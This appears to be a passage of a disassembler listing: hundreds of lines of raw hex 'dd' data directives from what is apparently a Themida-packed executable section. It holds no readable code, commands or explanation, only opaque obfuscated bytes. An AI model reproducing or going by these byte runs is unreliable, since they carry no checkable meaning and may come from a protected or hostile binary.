		dd 0B3BC269h, 0CB3527Eh, 933BB3ABh, 8627D5F7h, 0FF8750E5h
		dd 0D9837107h, 9447A2D8h, 0E14E1AC1h, 0E439CA8h, 832C1D2Bh
		dd 71CAB453h, 1FB60664h, 5376h,	0EE9E00h, 439CB08Fh, 511D07DAh
		dd 0F48A820Ah, 98821D4Bh, 120A290h, 784B47A3h, 710C39E2h
		dd 35A26E87h, 62439CE1h, 5CF729D2h, 0D7321CB5h,	0F255D849h
		dd 0C83927E1h, 13439C97h, 0AC89D740h, 50C853Dh,	4EEF7927h
		dd 0AACA0B64h, 0D2101FB6h, 74000000h, 0C269FC2Ch, 0BE598B34h
		dd 93947E17h, 971EC560h, 0B73AD067h, 0F4BF144Fh, 6D0834E0h
		dd 0D74836CCh, 2249A3B2h, 0C54C654Fh, 50E11495h, 902E1AAFh
		dd 3449A3AEh, 0C9568304h, 0BE5F009Bh, 0B3528229h, 0A9D57E0Ch
		dd 0E4CE670Eh, 0AB4139C1h, 0A2BF83BDh, 0B64B1E47h, 0D76D65EDh
		dd 0B4517E27h, 0F0D784CAh, 0CFA24194h, 0C45D9039h, 0BC55882Fh
		dd 7F401CE6h, 0E8FBEF0h, 0AD0h,	760BAADBh, 6F04A3CFh, 6AFF9AC8h
		dd 64F994C3h, 62F78ABDh, 0C1F4AFC7h, 0C7F49B30h, 0C0F2992Eh
		dd 0B9E99025h, 4EBC891Eh, 974CEF60h, 51233A43h,	16877525h
		dd 6149A3F2h, 70A3A48Eh, 63963FD5h, 7C1DB8E4h, 832ABDEDh
		dd 52F900EAh, 40EE8322h, 0DF917FBDh, 705A06CCh,	8A820AA4h
		dd 0E55644F4h, 3049A3F1h, 7D6B735Dh, 47A2FFFBh,	9D386526h
		dd 15BC5DF6h, 9CDFDC49h, 54ED2043h, 5BFA26ADh, 66012DB4h
		dd 0FD39079Ah, 0EC1EC757h, 0A146F59h, 0B5D311C4h, 0C8CB1Fh
		dd 252F0000h, 26F222A2h, 6DD68D3Ah, 9D33D153h, 0E6E7D14Ah
		dd 0EA781FB6h, 47A38767h, 4F3945DDh, 0E38A1B4Eh, 0A3AF7917h
		dd 78661649h, 49A3AE07h, 94957F52h, 18B7E364h, 0A237D871h
		dd 852CCBFBh, 0C65C54DCh, 0AEB72816h, 2F0249A3h, 154F3D45h
		dd 0B047A2C0h, 0F77F48DDh, 8FAB1C0Ah, 23F6439Ch, 2ACB6694h
		dd 0F49EA694h, 14D54194h, 0CA54CE5h, 0F92CD56Bh, 9B04D7Ah
		dd 933ACF70h, 1BEFC560h, 9FF07F5Ch, 9AEEF70h, 88B90000h
		dd 85B158EDh, 80AE55EAh, 7AA950E5h, 70A34ADFh, 8DA540D5h
		dd 71069FD2h, 6B009DCAh, 6AFF92C4h, 5FF493C3h, 0C5362492h
		dd 1043974Ch, 0F92C27F9h, 39FF11A0h, 0ED8E2064h, 0E681B158h
		dd 0FC2CDF51h, 0B3BC269h, 860ED76Ch, 100AF88Eh,	2B47A309h
		dd 0F69D386Ah, 8715BC5Dh, 0D878E9D7h, 0F0C3439Ch, 0D852C006h
		dd 9C7F439Ch, 0D6894C92h, 47531FB5h, 7B000006h,	9ADFC8F8h
		dd 8D26CD68h, 0EBCE2324h, 820A3501h, 2671F48Ah,	0F95A901Dh
		dd 0D54634CAh, 2049A3A8h, 6D5B634Dh, 47A2AD37h,	50EF1BC4h
		dd 2C2610A9h, 7424B259h, 9C9C1586h, 0A38D6043h,	9C9BF05Dh
		dd 0EC3A1D43h, 0B611EBEAh, 5F8F11Fh, 0A550000h,	6F48A82h
		dd 47A2F6E4h, 4915BC8Fh, 439CE6DCh, 0D6182609h,	1FB5C7FFh
		dd 5D9DDh, 67550500h, 439CEDF6h, 0B8846E41h, 0F67EC03Eh
		dd 0D07A68FEh, 8B47A2F8h, 0BA6331B8h, 0BE04EE87h, 0C7A9CEF8h
		dd 740A028Ah, 86B8AC86h, 0DA06C7B5h, 5AFB943Bh,	0B52614C4h
		dd 1FB180B8h, 0FC8765C7h, 0FFD25A99h, 0CB53FC15h, 66943DD3h
		dd 0A89624CBh, 0B1800737h, 7F0EAF82h, 760FB651h, 4A96848Ch
		dd 3AF7EFEh, 0BAE0D280h, 912776E7h, 780232A3h, 0C0AA7DABh
		dd 39BD2BC6h, 0F2993463h, 687FF059h, 0C8780EAFh, 0AE55F01Fh
		dd 0FA2A2B15h, 56077866h, 7F52AB78h, 42C548DEh,	6F90C4D1h
		dd 70DAA000h, 1DD5507h,	1A84572h, 0D0777E68h, 0A12F05A0h
		dd 99624515h, 812E96Ah,	0EC1D0000h, 0F11DC459h,	0EC1AC156h
		dd 0E615BC51h, 0DC0FB64Bh, 119B449h, 0ED821346h, 0E77C1946h
		dd 0DE730E40h, 0DB700737h, 41B2A00Eh, 8C43974Ah, 0FC2CA375h
		dd 0EAF4E7Bh, 4A3CF78h,	0C1DAC45Dh, 77AA9018h, 24A73DDEh
		dd 60EA0F6Ah, 0BEC6B09Eh, 974921D0h, 8015E847h,	97481794h
		dd 0F7862943h, 0D29B30C7h, 0D3C1574Bh, 4397486Ah, 0A42BD2A5h
		dd 38C1F374h, 3BD1720Bh, 9748DC4Dh, 0B3542743h,	48D5321Eh
		dd 49F24397h, 0C831B71Ah, 630EAB95h, 0A5D7D8C2h, 1FCF7D12h
		dd 977CC031h, 9E0FFD43h, 0E943977Ch, 0D1BB8E16h, 5E05A0D0h
		dd 0FE2C2592h, 0FB4580B9h, 0F58A1D4Dh, 66991E4Eh, 0B7832ACBh
		dd 43979C4Ah, 1604B4AAh, 43977CA5h, 931BB6E9h, 0AD7BD6C0h
		dd 1FB45383h, 0FF9AC871h, 0DAD5BF58h, 120h, 9E396B14h
		dd 0FC2CE8B4h, 93BC269h, 8AFBC76Eh, 0CE49A3F2h,	0B760079Eh
		dd 0E92C6F2Fh, 0BCB77692h, 0B354F590h, 0A3802F1Dh, 89394796h
		dd 96A32A9Bh, 82B47543h, 6A644EEFh, 1D05C197h, 0B6E5FA63h
		dd 6EB35h, 30C5F600h, 2DC8F49Bh, 28C3F198h, 24BDEC93h
		dd 1CB5E88Fh, 19D4EC87h, 0FB64BE6h, 7AE43E2h, 6AD42D5h
		dd 0DDAA3FD6h, 4910816Fh, 445B4397h, 69FC2C72h,	5FFE2AD3h
		dd 0A2D55C75h, 0DBC9790Fh, 49A3F26Ah, 8EFFEDB5h, 0D949A3F2h
		dd 0AAD66506h, 0E1CB640Bh, 660133DAh, 66FA2AD1h, 0A3F20778h
		dd 0E97F5249h, 0A3F28AFBh, 6102D549h, 5FF225CCh, 4F812AB8h
		db 0B4h, 0CAh
word_59716A	dw 96C9h		; DATA XREF: Themida_:0053F6B8o
		dd 3DA354FBh, 0E2CC6594h, 5C8FB987h, 0A03534C9h, 3A19AEC0h
		dd 7, 81329Eh, 25A80000h, 27B64F7Ch, 70715BFAh,	32FEA540h
		dd 49A402C5h, 0DD52DC25h, 0C46B0634h, 1040412Bh, 739E075h
		dd 8BF9C56Ch, 6549A3E2h, 3877FC7Fh, 10D7A6D7h, 0D37DCB26h
		dd 52EB18A1h, 0DB7112ABh, 0C36A0332h, 0C739402Ah, 0C067FA2Ch
		dd 0BF5A8932h, 94957F18h, 7728CF62h, 94C670BEh,	1D806C01h
		dd 4D49A3FAh, 47E0871Ah, 0C417BFA6h, 0BBC319AEh, 27FFFFFEh
		dd 0C4ADA225h, 7FFF8F99h, 2E49A95h, 2C100000h, 2AD369FCh
		dd 58715BFAh, 0A3F22F8Ch, 5B53349h, 0A3F2A617h,	341EF149h
		dd 0B1E14FD9h, 0AADA8116h, 53D6640Bh, 526EAD08h, 0CE14FE20h
		dd 49A39D71h, 2BD26595h, 6C02FA82h, 96F9CF7Eh, 0EDC39647h
		dd 0FA62ABF3h, 890F90BFh, 94000005h, 963DD263h,	8F36CB6Ah
		dd 8A31C661h, 862DC25Bh, 922DC253h, 0F98CBF7Ah,	0F590BD64h
		dd 0EC87B960h, 0E580B057h, 27158350h, 439748B6h, 2C18EA01h
		dd 3BC269FCh, 2AD86D08h, 0F21B8C7Ah, 0CB6649A3h, 4BB97A4Dh
		dd 0F8E283D8h, 9B30C7F7h, 8930C1F4h, 872652FBh,	10699C9Dh
		dd 89BC807Ah, 4FB851F8h, 9D3E52D0h, 828C45F6h, 3BD06194h
		dd 0AEC8993Ch, 2204319h, 0AA70000h, 1CE88F83h, 0BEF9A455h
		dd 0BB3D0BEEh, 189DBB1Ah, 209C0h, 830A2400h, 0A049F98Fh
		dd 942DD46Dh, 0F1F364AAh, 7D3E49A3h, 3408F24Dh,	0CED6A670h
		dd 4CED862Dh, 9512D9A5h, 0C8ABBEF9h, 0F220C97Eh, 2D17B057h
		dd 9DCA01D4h, 1D0DB18h,	53030000h, 0B4EBF465h, 36C3F4Ah
		dd 0C1450B41h, 632F198Ah, 0B34E7C25h, 2B1FA6C9h, 0CEFB1295h
		dd 2F13FF5Bh, 0EA4F3D45h, 2549A3E5h, 6D1DAB52h,	0A3E50E7Fh
		dd 0F0865949h, 0A3E59102h, 1F09DC49h, 0F99712D9h, 0F895C2BEh
		dd 0FE97CA51h, 51DFB057h, 0C24C2FD5h, 9DC7D9FCh, 1740318h
		dd 0A670000h, 49F98F83h, 835F03C6h, 11A0D56Eh, 39C43DEh
		dd 446AD319h, 0D2A549A3h, 0F5985F2Bh, 4E31BEF8h, 68D7FEC0h
		dd 48F1189Eh, 0A1957F1Ah, 142h,	19A22505h, 0AFE33D31h
		dd 1040412Bh, 1747CE75h, 9A22EB80h, 0B35C0CA2h,	0AA43EA85h
		dd 32D07AC0h, 0CD7D47A2h, 9C026EDFh, 50E6B943h,	9C01F162h
		dd 7F693C43h, 3F0BB285h, 439C02D2h, 0CC121CFFh,	1FB6AC09h
		dd 25D3h, 820A3700h, 9B44F48Ah,	0A0E6D06Fh, 47A3011Eh
		dd 3CF7649h, 439CE196h,	9056E0C3h, 1FB5D145h, 0A197h, 0FC2CFB00h
		dd 8B34C269h, 6DDECC5Ch, 0B849A3F2h, 82B544E5h,	0C5AF48EFh
		dd 590091C4h, 5C03A2D2h, 7D12A5D5h, 0A3EDF391h,	0E2679749h
		dd 0EB7219B4h, 0DF8021BCh, 1F9814Ah, 0E412BB6Bh, 8F195F49h
		dd 0CA479C52h, 1D50D909h, 0AC42E384h, 0A035D003h, 552BC6F9h
		dd 0FA67E2A5h, 69AD2E5Dh, 74000003h, 761DB243h,	6F16AB4Ah
		dd 6A11A641h, 660DA23Bh, 720DA233h, 0D96C9F5Ah,	0D5709D44h
		dd 0CC679940h, 0C5609037h, 7F56330h, 43974696h,	25F8CAE1h
		dd 10B74A7Ch, 598C8D77h, 7112ABDAh, 720535DCh, 0FC2C6BDDh
		dd 6F99E7A1h, 0CF70F0C6h, 0D671A128h, 0BEEA9341h, 0BEF1781Fh
		dd 42E37C23h, 0AEA41258h, 3EC649A3h, 0BB16DB7Eh, 0B95A6014h
		dd 0FDE33523h, 0DBAE47A1h, 0FC2CD446h, 0BAC4B7Bh, 1AADDD64h
		dd 3C34BC85h, 1573F6A6h, 81B881DEh, 8C42CCA2h, 9C3DD6D5h
		dd 5A44DF0Dh, 0A2DC6A14h, 0BC522547h, 9530630Ch, 108155EEh
		dd 5B439CABh, 0B9859E88h, 439CAB4Ch, 23CA6390h,	31D8699Ch
		dd 0AF6FB98Ah, 27182609h, 12B94C7Eh, 9F368F79h,	3D1FB603h
		dd 33h,	8A820AA1h, 18406F4h, 0F8A147A3h, 0F18A31CCh, 933A0D07h
		dd 9CE15AC7h, 0D4719E43h, 0DE77A62Dh, 43CD8637h, 0EC3A1DC3h
		dd 0B5D0EBEAh, 0ECF11Fh, 25550000h, 78F14C7Ch, 5DB6E246h
		dd 9A249EAh, 57EE1E1Fh,	5BF629B0h, 6AFD2DB4h, 790C3CC3h
		dd 6F0E3AE3h, 0AF1F67C8h, 0D971ADAFh, 0D71FCF38h, 0F5ECA9BFh
		dd 7A18040Bh, 1E49A398h, 18C157EEh, 12AB52EBh, 4A7A2128h
		dd 0D35B04ABh, 0EC9545DBh, 710436BDh, 0A69029D0h, 0A2777260h
		dd 55EABD47h, 0EE1E048Ch, 7020B657h, 52E517C0h,	9C670D7Eh
		dd 0F6855843h, 0FD432DC8h, 4194C96Dh, 9B4BE1B4h, 0B98CFDEBh
		dd 4D73D92h, 4BE6191Ah,	81DC0FB6h, 749CFDBAh, 25FB9C2Ah
		dd 0F07FC99Fh, 0C173F423h, 0CC000001h, 0CE750A9Bh, 0C76E03A2h
		dd 0C269FE99h, 0BE65FA93h, 0CA65FA8Bh, 31C4F7B2h, 2DC8F59Ch
		dd 24BFF198h, 1DB8E88Fh, 5F4DBB88h, 439743EEh, 2C502239h
		dd 29D268F9h, 0AC4574FDh, 731A210Bh, 0F83ADC43h, 0A503699Ah
		dd 0B152E316h, 820AAA1Ch, 6E71F48Ah, 59BFD865h,	4DFD05EFh
		dd 0F6E071A4h, 0A2D62EB0h, 6C84B47h, 1F2A8648h,	8C9203F1h
		dd 0ADD439Ch, 0B2857F69h, 8CD23F0Bh, 6FFF439Ch,	980194C6h
		dd 1D5A99F2h, 4CA791C8h, 7CD9FCC2h, 0C7031FB6h,	67000000h
		dd 0C269FC2Ch, 0C66D083Bh, 0A3EE5CFAh, 35D00049h, 2EC9F9A0h
		dd 5E56DE87h, 0BF445C8h, 11F99756h, 49D44DFh, 0C1717963h
		dd 8AB22311h, 2AFD49A3h, 6B0CFA40h, 845747A2h, 0A69E26EFh
		dd 0A2356710h, 5700B0B8h, 62A89225h, 4194C0BDh,	5F0FA578h
		dd 92B00071h, 8E784B3Dh, 17AADD86h, 45A8DB82h, 5C98E49h
		dd 0D6AC4D02h, 0F07F21C6h, 0B944C5F4h, 0C4000000h, 0C66D0293h
		dd 0BF66FB9Ah, 0BA61F691h, 0B65DF28Bh, 0C25DF283h, 29BCEFAAh
		dd 25C0ED94h, 1CB7E990h, 15B0E087h, 5745B380h, 439742E6h
		dd 2C481A31h, 4FD268F9h, 7221BABDh, 0E10D9CDDh,	1C069F46h
		dd 92BE6715h, 24B34CF3h, 1CB55CF5h, 66013132h, 0FC2C5FD1h
		dd 0B3BC269h, 860ED76Ch, 2CD36EA0h, 6E5CF293h, 47974EC3h
		dd 8910B78Ah, 8229BE59h, 6D1DB352h, 974E0E7Fh, 9C865943h
		dd 8983B783h, 43D62E8Dh, 7C1B4BF5h, 801040E7h, 89082192h
		dd 0F8996CD8h, 29BCA51h, 99A7F05Bh, 53E87FAFh, 158C22A5h
		dd 76DF76A6h, 5640CA18h, 0EB922555h, 36Ah, 7C5EE000h, 0C36AFB2Ch
		dd 0D2790C3Ch, 0D77E194Bh, 0E38A2350h, 0F198295Ch, 0F79E376Ah
		dd 1A84170h, 0AB14C7Ah,	11B85783h, 37176867h, 34890000h
		dd 715E6824h, 2C890000h, 0E2895224h, 4C281h, 0EA830000h
		dd 24148704h, 2434895Ch, 4621B850h, 3E35565Dh, 895051E2h
		dd 24048BC5h, 4C481h, 8B540000h, 0C4812434h, 4,	683468h
		dd 242C8900h, 0FF08468Fh, 835E2434h, 34FF04C4h,	0C4835D24h
		dd 0CCDDE904h, 67EEFFFAh, 7663E2A8h, 46B8E376h,	3060CB0h
		dd 93E0FFC5h, 1579D21Ch, 0B0DA807h, 0EB496153h,	2Dh, 0AE0DD000h
		dd 0F2319CBFh, 0A5ADF9DFh, 528C88A7h, 0B7FB75h,	0ADF99CBEh
		dd 89937EE5h, 8168009Dh, 0BD146726h, 1C3D03B2h,	9FE90B7Eh
		dd 6800000Ah, 60CB1E6h,	0FACC82E9h, 0B30668FFh,	78E9060Ch
		dd 68FFFACCh, 60CB406h,	0FACC6EE9h, 0B4A368FFh,	64E9060Ch
		dd 68FFFACCh, 60CB597h,	0FACC5AE9h, 0B6A768FFh,	50E9060Ch
		dd 68FFFACCh, 60CB75Ah,	0FACC46E9h, 0B92C68FFh,	3CE9060Ch
		dd 68FFFACCh, 60CBA41h,	0FACC32E9h, 0CA9DAFFh, 9A4D077h
		dd 49FCD74h, 99C86Fh, 91C46Bh, 0FDB8D06Bh, 0FBA237CAh
		dd 0F39A2FCEh, 0EA9126C1h, 0B9861BBAh, 40EC5D4Bh, 20374397h
		dd 8A820A4Eh, 623606F4h, 2AFD4797h, 1CBBEB94h, 14AFDD86h
		dd 4C7C232Ah, 0E16912B9h, 0C26553E9h, 79418AB0h, 376710A6h
		dd 34640BA0h
		dd 0C36CFAA1h, 0A6170595h, 0F13D8A90h, 75D67D1Eh, 4986B524h
		dd 7A640502h, 41D7CF57h, 8F32A391h, 0AA7D3D8Ah,	1CCAB8C0h
		dd 0E73B898Eh, 3A8B3E14h, 406FEE4Eh, 90DBFh, 80154600h
		dd 7D1844EBh, 781341E8h, 740D3CE3h, 6C0538DFh, 69243CD7h
		dd 5F069B36h, 57FE9332h, 56FD9225h, 2DFA8F26h, 4160D1BFh
		dd 94AB4397h, 69FC2CC2h, 5E8B34C2h, 6506A1D1h, 3A3B25BEh
		dd 28D66B0Ah, 0CB3527Fh, 0DE668973h, 0B86250E6h, 7347A307h
		dd 0C02DF9A0h, 0ED439CD7h, 1BBA3C0Ah, 0C11FB5D7h, 37h
		dd 8A820A25h, 6C9B44F4h, 1FA1E7D1h, 4A47A301h, 9704D077h
		dd 0C4439CE1h, 5FE257E1h, 5E55E6F1h, 95EED80Bh,	1FB63840h
		dd 0CE9Ah, 993FC200h, 6DB2FD26h, 2CA6725Ch, 3BC269FCh
		dd 3FC66D08h, 4AD1780Fh, 38E67B1Ah, 7DAB48B5h, 0A3CE1E8Fh
		dd 2D966949h, 25512E17h, 0A94AE38Ah, 47BF79BFh,	235349A3h
		dd 1545EE84h, 0E3919882h, 0C76E073Ah, 1343442Eh, 9C24CD74h
		dd 0DB5E0EA4h, 4B399400h, 49A329DAh, 92E95225h,	0CC12FC13h
		dd 47A2F692h, 0FCC55A2Dh, 0F8E67C74h, 4195284Bh, 84F17B16h
		dd 0B0068655h, 9DD0790Fh, 95C86F04h, 208926FCh,	231F07Eh
		dd 7ED81h, 60F52600h, 5DF824CBh, 58F321C8h, 54ED1CC3h
		dd 4CE518BFh, 49041CB7h, 3FE67B16h, 37DE7312h, 36DD7205h
		dd 0DDA6F06h, 3F40B19Fh, 748B4397h, 68F92CA2h, 61A44FD2h
		dd 0CBEF834Ah, 333DAE1h, 0A5DCF64h, 6F48A82h, 47A30184h
		dd 6935DCAFh, 439CE0FCh, 0C2F09929h, 0FDE78027h, 835294A2h
		dd 591FB5D1h, 0F3h, 0FAAD881h, 9EA45A6h, 37212DF1h, 69FC2C6Bh
		dd 6D083BC2h, 66FF2ED7h, 233C26BFh, 0A3EE9D57h,	66013149h
		dd 5BFA2AD1h, 0DA6E42C5h, 7A1E3FDAh, 0A3EB1B8Ch, 0F2936649h
		dd 0BE46EF08h, 81AD30C6h, 5A51E12Eh, 630AA5D3h,	373F29CAh
		dd 0A27C0F49h, 790FAA47h, 0E5A6DD24h, 9ADB87F0h, 89A3056Bh
		dd 7BA952E8h, 0B6A039E0h, 665EE6AFh, 7FDAE2D0h,	3E114194h
		dd 5A48F8A8h, 3D926EE9h, 76776134h, 761DB243h, 0B9BBEA43h
		dd 755D998Bh, 0C8E7FED4h, 0D403F07Fh, 6ED53h, 60F52600h
		dd 5DF824CBh, 58F321C8h, 54ED1CC3h, 4CE518BFh, 49041CB7h
		dd 3FE67B16h, 37DE7312h, 36DD7205h, 0DDA6F06h, 3E40B19Fh
		dd 748B4397h, 73F92CA2h, 0A3F21485h, 90295849h,	2DC850E9h
		dd 22ABFA4Bh, 0AA4BECF9h, 0B93E6E15h, 0AE47EE89h, 66B92A18h
		dd 310449A3h, 2C89FB90h, 158674FCh, 5949A3F2h, 34078F2Ah
		dd 3565EC93h, 0B4210DA2h, 0D649A3F2h, 0D2C0564Eh, 47976238h
		dd 0C16A00D3h, 0BA61F691h, 9B44EB8Ah, 97851B13h, 41965745h
		dd 54673D10h, 66F07D93h, 650B637h, 58890000h, 558128BDh
		dd 507E25BAh, 4A7920B5h, 40731AAFh, 5D7510A5h, 41D66FA2h
		dd 3BD06D9Ah, 3ACF6294h, 2FC46393h, 9506F462h, 0E043973Eh
		dd 0FC2CF7C9h, 0B134C269h, 4A6B6E0Bh, 0D9DAC474h, 0E0670EA9h
		dd 0EB7219B4h, 0CA7B22BDh, 0EC190711h, 3EF7B051h, 8A1646F0h
		dd 4418B3E1h, 49A311D3h, 0A74EE917h, 0D0BE860Eh, 49A3115Fh
		dd 9536D7AAh, 0A0D40100h, 130619AFh, 6A000000h,	1BB32h
		dd 97C36C00h, 963DD80Ah, 1CB55CFDh, 7AE76632h, 0B749A3F2h
		dd 0F8695707h, 4349A3F1h, 0F22B9C70h, 416F49A3h, 614B1EA6h
		dd 39F6B63Eh, 251B2DF0h, 5C0CA243h, 944DBEACh, 9C8A49A3h
		dd 49A3942Bh, 481BA376h, 47D185Eh, 51244797h, 43E212BBh
		dd 3DD804ADh, 0F59E4C53h, 44452FC2h, 31DA8114h,	2D1BB1A9h
		dd 4195F9DBh, 9CFDD3A6h, 0E6F07A76h, 55C36B7h, 64950000h
		dd 69953CD1h, 649239CEh, 5E8D34C9h, 54872EC3h, 79912CC1h
		dd 65FA8BBEh, 5FF491BEh, 56EB86B8h, 53E87FAFh, 0B92A1886h
		dd 443973Dh, 0FC2C1BEDh, 0B3BC269h, 5B14C56Ch, 0A63363CDh
		dd 31C4F473h, 0AC5AEF90h, 9138D703h, 20B50EF8h,	0BA19AEC0h
		dd 14h,	4C7C251Eh, 0C43523B9h, 0F49A3F2h, 0DD57523Ch, 0CD000000h
		dd 0F48A820Ah, 35A69444h, 7949A3F2h, 710AB14Ch,	0E62C16E9h
		dd 47976216h, 5CF926CFh, 67FE2EB5h, 1D8627C0h, 0AD3D281Dh
		dd 110BF5AEh, 0CFFFA83Eh, 0FA3F9270h, 0D475B1B9h, 0CD68983Fh
		dd 0FDF57D26h, 6AE6E467h, 0FF1B9C66h, 97A2A011h, 7718EB43h
		dd 2CD5858Dh, 24BD64FDh, 0D67070BBh, 9A84A40Ch,	8AC9B154h
		dd 0FF956841h, 0FA8F2656h, 0B0BC2353h, 70F53006h, 2CD57C1Dh
		dd 248DE4A4h, 48C01E3Dh, 938E11A7h, 279886FFh, 723D8A81h
		dd 9DA6369Fh, 0F2E0E8D2h, 3B891D44h, 21663C0Fh,	99EE4E89h
		dd 44CE96Ah, 54850000h,	59852CC1h, 548229BEh, 4E7D24B9h
		dd 44771EB3h, 69811CB1h, 55EA7BAEh, 4FE481AEh, 46DB76A8h
		dd 43D86F9Fh, 0A91A0876h, 0F443973Ch, 1C320BDDh, 0A8000001h
		dd 0F48A820Ah, 97623606h, 8535FD47h, 97412697h,	0CA9E7143h
		dd 43974159h, 9A30D1A4h, 9026C1F1h, 7920B7E7h, 48EFF6E0h
		dd 37E77D18h, 9741D849h, 0CF882343h, 5475B731h,	0FD1600A1h
		dd 3ED4CC54h, 8A9AAD50h, 0FB916441h, 0EE832252h, 0D9801747h
		dd 0DE72A24Bh, 8A7A7FF0h, 56F7CA3Dh, 0C9C1496Ch, 30008333h
		dd 5040184Dh, 12C006F0h, 0DD3B894Dh, 0F9F9340Ah, 1A49EE4Eh
		dd 39999h, 4A1D200h, 19CC86Fh, 0FC97C56Ch, 0F891C067h
		dd 0F889BC63h, 0F5B0C863h, 0F39A2FC2h, 0EB9227C6h, 0E2891EB9h
		dd 0B17E13B2h, 3BE45543h, 182F4397h, 69FC2C46h,	5BFA2AD3h
		dd 0A1D15871h, 0F5AE5F06h, 3ACDFD2Bh, 0D774F7A5h, 0B506B78Ch
		dd 0E8ED4630h, 0F219AEEDh, 47h,	8A820A56h, 347571F4h, 4591CDD5h
		dd 9165535Bh, 0A847A243h, 68963FD5h, 0DE4C38CDh, 22439BB3h
		dd 3ABD53F2h, 9779D40Dh, 0E6EDD7FFh, 0CF76113Fh, 96C9841h
		dd 0B38DB1FDh, 2BBA5B76h, 1CB55CFBh, 2FC3732h, 2CAD0000h
		dd 32C067FAh, 0D8C25D89h, 7B10A7D7h, 6A11A4D4h,	7F14B3E3h
		dd 0A0362EB6h, 8930C7F7h, 10FE06F0h, 47A30866h,	0DBA74E21h
		dd 439CD76Eh, 0F880B9Bh, 443677F0h, 8D9BF6E0h, 0B5F98A4Bh
		dd 4B501Fh, 0AB40000h, 6F48A82h, 47A30184h, 6935DCAFh
		dd 439CE0FCh, 0CE751040h, 0EAB51847h, 0F64E5C69h, 0CA8E35D6h
		dd 3065E937h, 0D4EA2BEh, 987B21C2h, 388D488Eh, 923B1FB6h
		dd 8821C865h, 0FFAA9Eh,	22D20000h, 9C7EC334h, 513B0E43h
		dd 69FC2C85h, 0DB8434C2h, 0C8390DA8h, 0C49A3F2h, 0EEC149DCh
		dd 35D00304h, 3B3A1C9Fh, 16D0D1Ah, 4777FE17h, 528209B0h
		dd 42741DB3h, 856F08AFh, 67D8927Eh, 3C6C49A3h, 0F89013A9h
		dd 6D083A90h, 0F61E1E04h, 2E5E050Ch, 0BF47F097h, 0FE8131C7h
		dd 0AC9AD2C7h, 49A3463Bh, 464AB386h, 6F48AD7h, 49A3EA95h
		dd 0DD230DE0h, 47A2CAEFh, 21D1673Ah, 9CBBC233h,	0AB3A0D43h
		dd 0EDF4DE79h, 0CD68963Fh, 80A38D26h, 47E612F8h, 0D06607A0h
		dd 951D52E2h, 30C69941h, 2CC15487h, 0E9BF5285h,	0F07EBA8Eh
		dd 0C75CDD0Ch, 1, 0FAA136CFh, 0F39A2FCEh, 0EE952AC5h, 0EA9126BFh
		dd 0EE891EB7h, 4DE81BD6h, 49E411B8h, 48DB0DB4h,	49DC0CB3h
		dd 8B79E7B4h, 4397391Ah, 2C7C4E65h, 0AE477AF9h,	9CCE770Dh
		dd 0F2B52614h, 2D0049A3h, 624CE58Ch, 384B45Bh, 29738D7h
		dd 0C2820A90h, 0A1FD0099h, 9228C916h, 0A29522A4h, 63963F47h
		dd 0A8922BD2h, 6834DBAEh, 439C74FBh, 0C0EF9828h, 0FBE57E25h
		dd 0F8A196A0h, 0F28B32CBh, 3D26AF08h
		dd 0C6B41FB6h, 18000000h, 0C269FC2Ch, 0C25D8B34h, 9798821Bh
		dd 9C2AD164h, 0F28DFEECh, 5D849A3h, 0EF1BD51Bh,	7FAF49A3h
		dd 7CAC53E8h, 882FCEFBh, 0FEA74EEFh, 38E87E76h,	0A3EED94Ah
		dd 67512449h, 7CFFAF5Fh, 168F450Fh, 0BB2C008Dh,	649A2FCh
		dd 0DB7C1745h, 0DCBDABF1h, 350847A1h, 44C3F69Fh, 38DF8011h
		dd 0E5AEB59Fh, 0E1CF655Dh, 4194323Ch, 7A1340E9h, 56503AD3h
		dd 1144ED83h, 0E41EA80h, 4933CC73h, 0CD689B42h,	7F8EB2F7h
		dd 981948F0h, 0B2h, 861BBAEBh, 7F14B3DFh, 7A0FAAD8h, 7409A4D3h
		dd 72079ACDh, 0D104BFD7h, 0D704AB40h, 0D002A93Eh, 0C9F9A035h
		dd 5ECC992Eh, 9737FF70h, 61334A43h, 0D368F92Ch,	0D469FC2Ch
		dd 69FC2C62h, 5E8B34C2h, 0A4D4D5BFh, 0B158F723h, 19E27718h
		dd 15039991h, 4797624Dh, 38A3104h, 0F89F34D3h, 0BA862DC8h
		dd 48889A20h, 0E55AE477h, 0CC730E3Ch, 18484933h, 913AE87Dh
		dd 8821C863h, 0DA6D9D9Eh, 0E47DAC33h, 0BF89D23Dh, 4ED16191h
		dd 48F4C954h, 0AB1CF06Ch, 0F636246Ch, 0C76E0935h, 57EC8D2Eh
		dd 3EE580B0h, 0DBDh, 5947F700h,	36246BE8h, 0AA766033h
		dd 0FB2C7C5Eh, 0C3CC36Ah, 194BD279h, 2350D77Eh,	295CE38Ah
		dd 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h
		dd 101Bh, 68243C89h, 770Bh, 68240489h, 6F5Fh, 68241489h
		dd 60CB152h, 8324048Bh,	0EC8304C4h, 24248904h, 4240483h
		dd 0C789575Ah, 242C8157h, 45EA6916h, 8108428Fh,	69160842h
		dd 8B5F45EAh, 89512414h, 4C181E1h, 83000000h, 0C8704C1h
		dd 48B5C24h, 0E0895024h, 405h, 40500h, 4870000h, 0FCE95C24h
		dd 5BFFFAC1h, 0A6730C9h, 5A02C8DBh, 0D9EF3989h,	18B8A99Bh
		dd 3060CBBh, 0E2E0FFC5h, 9854510Ch, 71261107h, 0F5607670h
		dd 270C7619h, 101612DFh, 1948745Eh, 0C34A0970h,	580E2427h
		dd 913FEAFAh, 4A4835D0h, 0FD738206h, 0F6706F2Ah, 2E56C4E6h
		dd 8624C875h, 0AC1CCD85h, 8D0DCDA7h, 0CBC978Dh,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 860FCBh, 81000000h, 0FF3D1FDBh, 0D98D8943h, 6A06071Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8B71C351h, 72D8DB5h, 1D85C706h, 88060710h
		dd 8B000063h, 723999Dh,	585C706h, 60733h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0FC3C350h, 68Bh, 0F1B58B00h,	0FF060729h, 72039B5h, 319D8906h
		dd 0FF060711h, 7185995h, 0B19D8906h, 6A060703h,	6995FF00h
		dd 8B06070Dh, 2A4FEBC0h, 5F2F7590h, 69586BA7h, 0C642971Ah
		dd 4E378950h, 8A0632C1h, 35B9243h, 0ED0A49D4h, 4CDE608Fh
